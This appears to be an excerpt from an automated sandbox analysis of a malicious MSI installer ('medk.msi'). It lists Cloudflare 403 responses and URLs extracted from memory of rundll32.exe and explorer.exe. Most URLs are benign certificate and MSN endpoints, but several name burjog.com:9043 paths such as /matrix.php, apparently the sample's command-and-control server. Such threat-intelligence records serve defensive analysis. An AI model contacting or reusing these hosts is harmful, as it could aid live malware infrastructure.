Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:54 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5%2BvFuXqEt%2FXb6WqxKfA8h%2FFhirw84zY0xUgHMXVA04aPRbKDYZHi0GyLOJdog2z1nqO6YEG05T8EIlXDjw4t6OL3rP1BCfG%2BMIDk9qS4zJD9X4tBkQQLUodINOTa9jTj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073c52d517368-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=135254&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=18139&cwnd=32&unsent_bytes=0&cid=94a472d9aea34c11&ts=564&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JMYgdLoiX0qP5bYgaVFC91CmiaK0KH6n%2BOFTwmvgV6tKFNE5nxIUbUvMV0b%2Ffiq6M%2FZcrslMMo6k3ASARwtBHv28TKMr0DBk0eQ%2Boq8OdhdpAQQ2SETT%2BQSYGsyppZlN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073cc8e5e2e25-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1592&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=1728955&cwnd=251&unsent_bytes=0&cid=311b3fcb1717a73b&ts=405&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:56 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=thQ1X9%2Bnk11UoQuKmKffgs6LnSXYQBUJbWNJWUtPF2FaeJ1Q2yt9Ot4Gr1NNjQ%2BWW3qbKUEVcIjLa3tPUIOqS0ButxqkoY2zLJ9yOwmrLiTD5gw48%2B25O2rkrFzkd0Hc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073d4ca7dd78b-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=131116&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=22074&cwnd=32&unsent_bytes=0&cid=0be484981a27ec58&ts=534&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:57 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nLAydMiW6wq5NX7VyHHxwXVR954BZZN19pr%2Fc73sBI%2Fooac%2Bw2zIH3%2BxnqtVYZwusvyxUn%2BOHt%2B8y%2BeGmPyUSYgMcdHgjhKb4Uwkm2gIIQ%2BFLEXQCIyZ0yhKpxQLJafs"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073dc8feb2c92-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1323&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2077474&cwnd=241&unsent_bytes=0&cid=710d166ca75f1c1a&ts=531&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ul3wDHWBtDtV4CecVC%2BthOkAynJZ%2BVUwI2yQHNCmaM3M3UNzqPfHo4sPm2GP2px4nQ2zd6BXPvmdCzdL3pqkf%2Bnz%2FtP9o81hFYCYqmxc4ticF%2By3xW3nVsfa%2F6yAdVY7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073e5cc2ef661-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=137741&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=21023&cwnd=32&unsent_bytes=0&cid=754fa116d078c5c9&ts=796&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:24:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oyVBkPNy41tq298pu4n33CS1Ev%2BnEqwvov1tbJoTlZW%2FNTge1DMj5c4gyx5l2mcBk4DIjkbAkIvqmhhmW%2FKK9QxYFih7W3sGUqWzgShQzOLRfkEQu6bv7NPfCV71VaJ0"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073f11e3925fb-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=138192&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20897&cwnd=32&unsent_bytes=0&cid=b5e9611d9260418d&ts=744&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:24:02 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NGtY3IjLAUJPWyE1wcH3yqVlbnrAuxWmh%2B%2FQ10uhPIukqT4Vnr31VlkxbEHcWHOdDp4scBOZp7p4617%2FiRZ1Lozx28cJeidDuygO60zpYrapfQUZdEKrrlEQejZUWDAE"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073f918922ccb-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1575&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=1960731&cwnd=114&unsent_bytes=0&cid=f174f0bd30c35b1b&ts=732&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:24:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=77Yn8nPOS%2BnC%2BOaDiM2kr1yN5VP9DXBfkemMJ%2Ba%2BB8%2BXcj1T8yTIEFb%2FewfIpdU95t9DVnG5tuzFaf%2B9m1WQ9X6WDYhpW9%2B6EsZKY4Nb4YfkIyMX7zJBvjiB4qVl%2Fj4Z"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207403981bd791-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=132759&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=19707&cwnd=32&unsent_bytes=0&cid=3e8c045f2fe6e30b&ts=876&x=0"

Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: explorer.exe, 00000008.00000000.2237668120.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: explorer.exe, 00000008.00000000.2237668120.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 00000008.00000000.2237668120.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: explorer.exe, 00000008.00000000.2237668120.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: explorer.exe, 00000008.00000002.4581549359.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311ABE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4569718360.0000029313A30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.00000293119F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311ABE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4569718360.0000029313A30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.00000293119F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: explorer.exe, 00000008.00000002.4567822986.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2236079810.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000002.4578819084.0000000007B60000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://t2.symcb.com0
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://tl.symcb.com/tl.crt0
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://tl.symcd.com0&
Source: medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311ABF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311ABE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4569718360.0000029313A30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311ABF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311ABE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4569718360.0000029313A30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: explorer.exe, 00000008.00000000.2238643975.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3075025138.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980638609.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 00000008.00000002.4590045694.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2242782012.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000008.00000002.4581549359.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000008.00000002.4581549359.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/I
Source: explorer.exe, 00000008.00000002.4581549359.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000008.00000002.4581549359.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc
Source: explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000008.00000002.4581549359.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com/
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/
Source: rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/der
Source: rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232775913.0000029311A5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burjog.com:9043/matrix.php
